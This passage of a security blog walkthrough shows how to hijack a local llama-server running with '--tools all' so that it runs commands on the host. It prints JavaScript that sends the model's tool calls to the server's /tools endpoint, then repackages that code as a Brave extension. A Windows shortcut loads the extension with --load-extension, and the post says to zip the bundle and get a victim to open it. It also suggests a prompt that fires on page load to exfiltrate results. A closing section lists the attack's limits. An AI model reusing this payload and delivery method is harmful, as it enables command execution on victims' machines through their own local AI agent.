  <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">r</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nc">Error</span><span class="p">(</span><span class="dl">"</span><span class="s2">chat </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">status</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> </span><span class="dl">"</span> <span class="o">+</span> <span class="p">(</span><span class="k">await</span> <span class="nx">r</span><span class="p">.</span><span class="nf">text</span><span class="p">()).</span><span class="nf">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">300</span><span class="p">));</span>
  <span class="k">return</span> <span class="nx">r</span><span class="p">.</span><span class="nf">json</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nf">invoke</span><span class="p">(</span><span class="nx">name</span><span class="p">,</span> <span class="nx">args</span><span class="p">){</span>
  <span class="nf">status</span><span class="p">(</span><span class="dl">"</span><span class="s2">POST /tools </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">name</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="nx">TOOLS_URL</span><span class="p">,</span> <span class="p">{</span> <span class="na">method</span><span class="p">:</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="na">headers</span><span class="p">:{</span> <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">application/json</span><span class="dl">"</span> <span class="p">},</span> <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">({</span> <span class="na">tool</span><span class="p">:</span><span class="nx">name</span><span class="p">,</span> <span class="na">params</span><span class="p">:</span><span class="nx">args</span> <span class="p">})</span> <span class="p">});</span>
  <span class="kd">const</span> <span class="nx">t</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">r</span><span class="p">.</span><span class="nf">text</span><span class="p">();</span>
  <span class="kd">let</span> <span class="nx">data</span><span class="p">;</span> <span class="k">try</span> <span class="p">{</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="nx">t</span><span class="p">);</span> <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">_</span><span class="p">)</span> <span class="p">{</span> <span class="nx">data</span> <span class="o">=</span> <span class="p">{</span> <span class="na">error</span><span class="p">:</span><span class="nx">t</span><span class="p">.</span><span class="nf">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">400</span><span class="p">)</span> <span class="p">};</span> <span class="p">}</span>
  <span class="k">return</span> <span class="nf">fmt</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nf">run</span><span class="p">(){</span>
  <span class="kd">const</span> <span class="nx">prompt</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">promptInput</span><span class="dl">"</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
  <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">prompt</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
  <span class="kd">const</span> <span class="nx">out</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">responseOutput</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">conversationHistory</span><span class="p">.</span><span class="nf">push</span><span class="p">({</span> <span class="na">role</span><span class="p">:</span><span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">,</span> <span class="na">content</span><span class="p">:</span><span class="nx">prompt</span> <span class="p">});</span>
  <span class="nx">out</span><span class="p">.</span><span class="nx">textContent</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Thinking...</span><span class="dl">"</span><span class="p">;</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">chat</span><span class="p">(</span><span class="nx">conversationHistory</span><span class="p">);</span>
    <span class="kd">let</span> <span class="nx">msg</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">message</span><span class="p">;</span>
    <span class="kd">let</span> <span class="nx">calls</span> <span class="o">=</span> <span class="nf">extract</span><span class="p">(</span><span class="nx">msg</span><span class="p">);</span>
    <span class="kd">let</span> <span class="nx">n</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while </span><span class="p">(</span><span class="nx">calls</span><span class="p">.</span><span class="nx">length</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">n</span><span class="o">++</span><span class="p">;</span>
      <span class="kd">const</span> <span class="nx">hist</span> <span class="o">=</span> <span class="p">{</span> <span class="na">role</span><span class="p">:</span><span class="dl">"</span><span class="s2">assistant</span><span class="dl">"</span><span class="p">,</span> <span class="na">content</span><span class="p">:</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">content</span> <span class="o">||</span> <span class="dl">""</span><span class="p">,</span> <span class="na">tool_calls</span><span class="p">:</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">tool_calls</span> <span class="o">&amp;&amp;</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">tool_calls</span><span class="p">.</span><span class="nx">length</span> <span class="p">?</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">tool_calls</span> <span class="p">:</span> <span class="nx">calls</span> <span class="p">};</span>
      <span class="nx">conversationHistory</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="nx">hist</span><span class="p">);</span>
      <span class="k">for </span><span class="p">(</span><span class="kd">const</span> <span class="nx">tc</span> <span class="k">of</span> <span class="nx">calls</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">args</span> <span class="o">=</span> <span class="nf">parseArgs</span><span class="p">(</span><span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">arguments</span><span class="p">);</span>
        <span class="nx">out</span><span class="p">.</span><span class="nx">textContent</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">[/tools] </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">(</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">)</span><span class="dl">"</span><span class="p">;</span>
        <span class="kd">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">invoke</span><span class="p">(</span><span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="nx">args</span><span class="p">);</span>
        <span class="nx">conversationHistory</span><span class="p">.</span><span class="nf">push</span><span class="p">({</span> <span class="na">role</span><span class="p">:</span><span class="dl">"</span><span class="s2">tool</span><span class="dl">"</span><span class="p">,</span> <span class="na">tool_call_id</span><span class="p">:</span> <span class="nx">tc</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="na">name</span><span class="p">:</span> <span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="na">content</span><span class="p">:</span> <span class="nx">result</span> <span class="p">});</span>
      <span class="p">}</span>
      <span class="nx">data</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">chat</span><span class="p">(</span><span class="nx">conversationHistory</span><span class="p">);</span>
      <span class="nx">msg</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">message</span><span class="p">;</span>
      <span class="nx">calls</span> <span class="o">=</span> <span class="nf">extract</span><span class="p">(</span><span class="nx">msg</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="kd">const</span> <span class="nx">final</span> <span class="o">=</span> <span class="p">(</span><span class="nx">msg</span> <span class="o">&amp;&amp;</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">content</span><span class="p">)</span> <span class="o">||</span> <span class="dl">"</span><span class="s2">(empty)</span><span class="dl">"</span><span class="p">;</span>
    <span class="nx">out</span><span class="p">.</span><span class="nx">textContent</span> <span class="o">=</span> <span class="nx">final</span><span class="p">;</span>
    <span class="nx">conversationHistory</span><span class="p">.</span><span class="nf">push</span><span class="p">({</span> <span class="na">role</span><span class="p">:</span><span class="dl">"</span><span class="s2">assistant</span><span class="dl">"</span><span class="p">,</span> <span class="na">content</span><span class="p">:</span> <span class="nx">final</span> <span class="p">});</span>
    <span class="nf">status</span><span class="p">(</span><span class="dl">"</span><span class="s2">Finished.</span><span class="dl">"</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">out</span><span class="p">.</span><span class="nx">textContent</span> <span class="o">=</span> <span class="nc">String</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">message</span> <span class="o">||</span> <span class="nx">e</span><span class="p">);</span>
    <span class="nf">status</span><span class="p">(</span><span class="dl">"</span><span class="s2">Error</span><span class="dl">"</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">sendBtn</span><span class="dl">"</span><span class="p">).</span><span class="nx">onclick</span> <span class="o">=</span> <span class="nx">run</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">clrBtn</span><span class="dl">"</span><span class="p">).</span><span class="nx">onclick</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="nx">conversationHistory</span> <span class="o">=</span> <span class="p">[];</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">responseOutput</span><span class="dl">"</span><span class="p">).</span><span class="nx">textContent</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">cleared</span><span class="dl">"</span><span class="p">;</span> <span class="p">};</span>
<span class="nf">loadTools</span><span class="p">().</span><span class="k">catch</span><span class="p">(</span><span class="nx">e</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">health</span><span class="dl">"</span><span class="p">).</span><span class="nx">textContent</span> <span class="o">=</span> <span class="nc">String</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span> <span class="p">});</span>
</code></pre></div></div>

<p>So, I’m assuming you created the bookmarklet and dragged it into the bookmarks bar in your browser. Next, browse to <code class="language-plaintext highlighter-rouge">http://localhost:8080</code>. It’s just the familiar llama Web UI:</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/8ca0fff3-9563-4e3f-a633-223c4eb61716" alt="llama-server Web UI loaded in browser at localhost:8080" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/8ca0fff3-9563-4e3f-a633-223c4eb61716" alt="llama-server Web UI loaded in browser at localhost:8080" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>Now, click your bookmark while in this specific browser tab that has <code class="language-plaintext highlighter-rouge">localhost:8080</code> loaded with the llama-server + Qwen3.8-27B model:</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/20435be0-96ca-4396-8047-6fb29ab93f53" alt="Bookmarklet being clicked in the browser tab with llama-server UI" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/20435be0-96ca-4396-8047-6fb29ab93f53" alt="Bookmarklet being clicked in the browser tab with llama-server UI" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>Here are my <code class="language-plaintext highlighter-rouge">llama-server</code> params and output:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span><span class="nv">GGML_VK_VISIBLE_DEVICES</span><span class="o">=</span>1 ./llama-server <span class="nt">-m</span> /home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf <span class="nt">-ngl</span> 99 <span class="nt">-c</span> 75000 <span class="nt">-fa</span> on <span class="nt">-np</span> 1 <span class="nt">-ctk</span> f16 <span class="nt">-ctv</span> f16 <span class="nt">-b</span> 4096 <span class="nt">-ub</span> 1024 <span class="nt">--load-mode</span> mmap <span class="nt">--spec-type</span> draft-mtp <span class="nt">--spec-draft-n-max</span> 4 <span class="nt">--spec-draft-p-min</span> 0.75 <span class="nt">--spec-draft-type-k</span> q4_0 <span class="nt">--spec-draft-type-v</span> q4_0 <span class="nt">--prio</span> 3 <span class="nt">--seed</span> <span class="nt">-1</span> <span class="nt">--chat-template-kwargs</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">reasoning_effort</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">low</span><span class="se">\"</span><span class="s2">}"</span> <span class="nt">--temp</span> 1.0 <span class="nt">--top-p</span> 0.95 <span class="nt">--top-k</span> 20 <span class="nt">--min-p</span> 0.0 <span class="nt">--presence-penalty</span> 0.0 <span class="nt">--repeat-penalty</span> 1.0 <span class="nt">--alias</span> Qwen3.8-27B <span class="nt">--jinja</span> <span class="nt">--mmproj</span> /home/g3tsyst3m/mmproj-F16.gguf <span class="nt">--tools</span> all <span class="nt">--cors-origins</span> <span class="s2">"http://localhost:8080"</span>
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>g3tsyst3m: 
0.00.042.952 I cmn  common_param: common_params_print_info: verbosity <span class="o">=</span> 3 <span class="o">(</span>adjust with the <span class="sb">`</span><span class="nt">-lv</span> N<span class="sb">`</span> CLI arg<span class="o">)</span>
0.00.044.119 W srv  llama_server: <span class="nt">-----------------</span>
0.00.044.125 W srv  llama_server: the following feature<span class="o">(</span>s<span class="o">)</span> are enabled:
0.00.044.126 W srv  llama_server:     server tools <span class="o">(</span>experimental<span class="o">)</span>
0.00.044.127 W srv  llama_server: <span class="k">do </span>not expose the server to untrusted environments
0.00.044.127 W srv  llama_server: <span class="nt">-----------------</span>
0.00.045.576 I srv    load_model: loading model <span class="s1">'/home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf'</span>
0.05.212.740 I cmn          init: llama threadpool init, n_threads <span class="o">=</span> 2
0.05.269.261 I common_speculative_init_result: creating MTP draft context against the target model <span class="s1">'/home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf'</span>
0.05.303.879 W load_hparams: Qwen-VL models require at minimum 1024 image tokens to <span class="k">function </span>correctly on grounding tasks
0.05.303.884 W load_hparams: <span class="k">if </span>you encounter problems with accuracy, try adding <span class="nt">--image-min-tokens</span> 1024
0.05.303.885 W load_hparams: more info: https://github.com/ggml-org/llama.cpp/issues/16842

0.05.706.782 I srv    load_model: loaded multimodal model, <span class="s1">'/home/g3tsyst3m/mmproj-F16.gguf'</span>
0.05.761.663 I srv    load_model: initializing, n_slots <span class="o">=</span> 1, n_ctx_slot <span class="o">=</span> 75008, kv_unified <span class="o">=</span> <span class="s1">'false'</span>
0.05.800.383 I srv          init: chat template supports preserving reasoning, consider enabling it via <span class="nt">--reasoning-preserve</span>
0.05.800.422 I srv  llama_server: model loaded
0.05.800.426 I srv  llama_server: listening on http://127.0.0.1:8080
0.05.800.427 W srv  llama_server: NOTICE: server default port will be changed to :9931 <span class="k">in </span>a future release
0.05.800.427 W srv  llama_server:         ref: https://github.com/ggml-org/llama.cpp/pull/26508
</code></pre></div></div>

<blockquote>
  <p>(At the time of writing, my build still used port 8080. The server binds to <code class="language-plaintext highlighter-rouge">127.0.0.1</code> by default, but we browse to <code class="language-plaintext highlighter-rouge">localhost:8080</code> which resolves to the same address. As noted earlier, the origin string matters for CORS matching.)</p>
</blockquote>

<p>And the test!</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/7d6be731-a734-462c-a5fd-901b8f9dc8bf" alt="Agent UI replacing the llama Web UI after bookmarklet execution" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/7d6be731-a734-462c-a5fd-901b8f9dc8bf" alt="Agent UI replacing the llama Web UI after bookmarklet execution" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/f57f6473-028c-4f05-96d6-36c443b3e8ed" alt="Agent UI showing tool execution results (whoami output)" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/f57f6473-028c-4f05-96d6-36c443b3e8ed" alt="Agent UI showing tool execution results (whoami output)" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>It worked!!! Here’s the <code class="language-plaintext highlighter-rouge">llama-server</code> output. Also 94.76 t/s… crazy! Plus, it gladly accepted our prompt and executed our command against my host OS without question:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>8.58.891.477 I slot print_timing: <span class="nb">id  </span>0 | task 227 | n_gen <span class="o">=</span>    290, tg <span class="o">=</span>  94.76 t/s, tg_3s <span class="o">=</span>  95.08 t/s
9.01.774.380 I slot print_timing: <span class="nb">id  </span>0 | task 227 | prompt <span class="nb">eval time</span> <span class="o">=</span>    1083.76 ms /   535 tokens <span class="o">(</span>    2.03 ms per token,   493.65 tokens per second<span class="o">)</span>
9.01.774.383 I slot print_timing: <span class="nb">id  </span>0 | task 227 |        <span class="nb">eval time</span> <span class="o">=</span>    5932.74 ms /   549 tokens <span class="o">(</span>   10.83 ms per token,    92.37 tokens per second<span class="o">)</span>
9.01.774.384 I slot print_timing: <span class="nb">id  </span>0 | task 227 |       total <span class="nb">time</span> <span class="o">=</span>    7016.50 ms /  1084 tokens
9.01.774.385 I slot print_timing: <span class="nb">id  </span>0 | task 227 |    graphs reused <span class="o">=</span>        178
9.01.774.388 I slot print_timing: <span class="nb">id  </span>0 | task 227 | draft acceptance <span class="o">=</span> 0.96205 <span class="o">(</span>  431 accepted /   448 generated<span class="o">)</span>, mean len <span class="o">=</span>  4.68
9.01.774.526 I slot      release: <span class="nb">id  </span>0 | task 227 | stop processing: n_tokens <span class="o">=</span> 2741, truncated <span class="o">=</span> 0
</code></pre></div></div>

<p>Once again, that’s without us setting a restrictive API key to prevent unauthorized connections. Still… I guarantee a LARGE number of folks testing out <code class="language-plaintext highlighter-rouge">llama-server</code> for the first time just go with the defaults and add in <code class="language-plaintext highlighter-rouge">--tools all</code> for the convenience of executing commands.</p>

<p>So what’s the point? Well, from a conceptual attacker capability standpoint: instead of giving the user a choice of what to enter, you could preemptively prepare a prompt of your choosing that auto-fires on page load and exfiltrates the results. But I need to help make for less social engineering with your payload first. That’s up next!</p>

<h2 id="time-for-llama--to-sober-up-but-not-until-we-deliver-the-final-payload">Time for Llama 🦙 to Sober Up But Not Until We Deliver the Final Payload!</h2>

<p>Alright, I’ve been using Ubuntu for most of this blog write-up. Now, let’s change gears and hop on into Windows for the final payload delivery.</p>

<p>On some Chromium-based browsers, including certain builds of Brave, you can still launch the browser with an unpacked extension using <code class="language-plaintext highlighter-rouge">--load-extension</code>, <strong>provided the browser process is not already running and the build still supports that flag</strong>. This is not universal across all Chromium builds.  It depends on the version, enterprise policies, and whether a browser instance is already active.</p>

<blockquote>
  <p>⚠️ <strong>Major limitation:</strong> The user must <strong>not</strong> have their Brave browser already running when they launch the shortcut. If any <code class="language-plaintext highlighter-rouge">brave.exe</code> process exists, the <code class="language-plaintext highlighter-rouge">--load-extension</code> flag is ignored and the extension will not load. Just so you know 😸</p>
</blockquote>

<p>First, we need to create a Windows shortcut. Go ahead and create a shortcut with placeholder info in it. Then fill it out as follows, with the Target set to:</p>

<p><code class="language-plaintext highlighter-rouge">"C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe" --load-extension="%USERPROFILE%\Downloads\report\extension" http://localhost:8080</code></p>

<p>You can leave the <strong>Start in</strong> section blank.</p>

<p>Place your shortcut / <code class="language-plaintext highlighter-rouge">.lnk</code> file in the same folder that your extension is in. You’ll want to zip this and send it to the user for your payload and somehow get them to extract it and click it. The extraction path matters: the <code class="language-plaintext highlighter-rouge">--load-extension</code> path must resolve to the actual folder containing <code class="language-plaintext highlighter-rouge">manifest.json</code> and <code class="language-plaintext highlighter-rouge">content.js</code>.</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/e03d2832-c9b3-4fca-a56e-8531a4e8ca93" alt="Windows shortcut properties showing the --load-extension target path" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/e03d2832-c9b3-4fca-a56e-8531a4e8ca93" alt="Windows shortcut properties showing the --load-extension target path" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>The user will also have to not be using their Brave browser when they open it for the browser extension to load correctly. Yes, I realize there are still a few unnecessary social engineering steps involved, but should you succeed, the user would then load your extension which replaces their llama Web UI with your code and you could then execute commands against their machine using THEIR running local AI instance! As demonstrated earlier with the bookmarklet.</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/ef454a5a-8f33-499a-8dea-3d083a5846cf" alt="Brave browser launching with the injected extension replacing the llama UI" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/ef454a5a-8f33-499a-8dea-3d083a5846cf" alt="Brave browser launching with the injected extension replacing the llama UI" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>The code for the browser extension is exactly the same as the JavaScript code used for the bookmarklet. Create a folder called <code class="language-plaintext highlighter-rouge">extension</code>. Next, revisit the JavaScript code from earlier and simply remove the <code class="language-plaintext highlighter-rouge">javascript:</code> from the top of the code and save it as <strong>content.js</strong>.</p>

<blockquote>
  <p>Like so:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// javascript: &lt;-- this line. Remove it. Keep everything else that comes after it. Save as content.js</span>
<span class="kd">const</span> <span class="nx">MODEL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Qwen3.8-27B</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">LLM_URL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/v1/chat/completions</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">TOOLS_URL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/tools</span><span class="dl">"</span><span class="p">;</span>
</code></pre></div></div>

<p>You’ll also need to create the <strong>manifest.json</strong> file and place it in the same directory as your <strong>content.js</strong> file:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"manifest_version"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"llama-server Agent UI"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Injects agent UI into llama-server /tools on localhost:8080"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"content_scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"matches"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"http://localhost:8080/*"</span><span class="p">,</span><span class="w"> </span><span class="s2">"https://localhost:8080/*"</span><span class="p">],</span><span class="w">
      </span><span class="nl">"js"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"content.js"</span><span class="p">],</span><span class="w">
      </span><span class="nl">"run_at"</span><span class="p">:</span><span class="w"> </span><span class="s2">"document_idle"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p><strong>Origin matching note:</strong> The <code class="language-plaintext highlighter-rouge">matches</code> field only covers <code class="language-plaintext highlighter-rouge">localhost</code>. If you browse to <code class="language-plaintext highlighter-rouge">127.0.0.1:8080</code> instead, add <code class="language-plaintext highlighter-rouge">"http://127.0.0.1:8080/*"</code> to the <code class="language-plaintext highlighter-rouge">matches</code> array. Remember: <code class="language-plaintext highlighter-rouge">localhost</code> and <code class="language-plaintext highlighter-rouge">127.0.0.1</code> are different origins to the browser.</p>
</blockquote>

<h2 id="what-this-does-not-mean">What This Does NOT Mean</h2>

<p>To keep this post honest:</p>

<ul>
  <li>❌ Any website on the internet can automatically SSH into your machine</li>
  <li>❌ <code class="language-plaintext highlighter-rouge">llama-server</code> is remotely exploitable if bound only to localhost</li>
  <li>❌ The LLM itself is “hacked” or the model is compromised</li>
  <li>❌ This works if API keys and origin restrictions are properly enforced</li>
  <li>❌ A malicious page on a different origin can execute tools when CORS is restricted to localhost</li>
</ul>

<p><strong>What it DOES mean:</strong></p>

<p>Local convenience services can still be abused through browser origin trust, even if they are not exposed to the network. The attack surface moves from the network into the browser.</p>

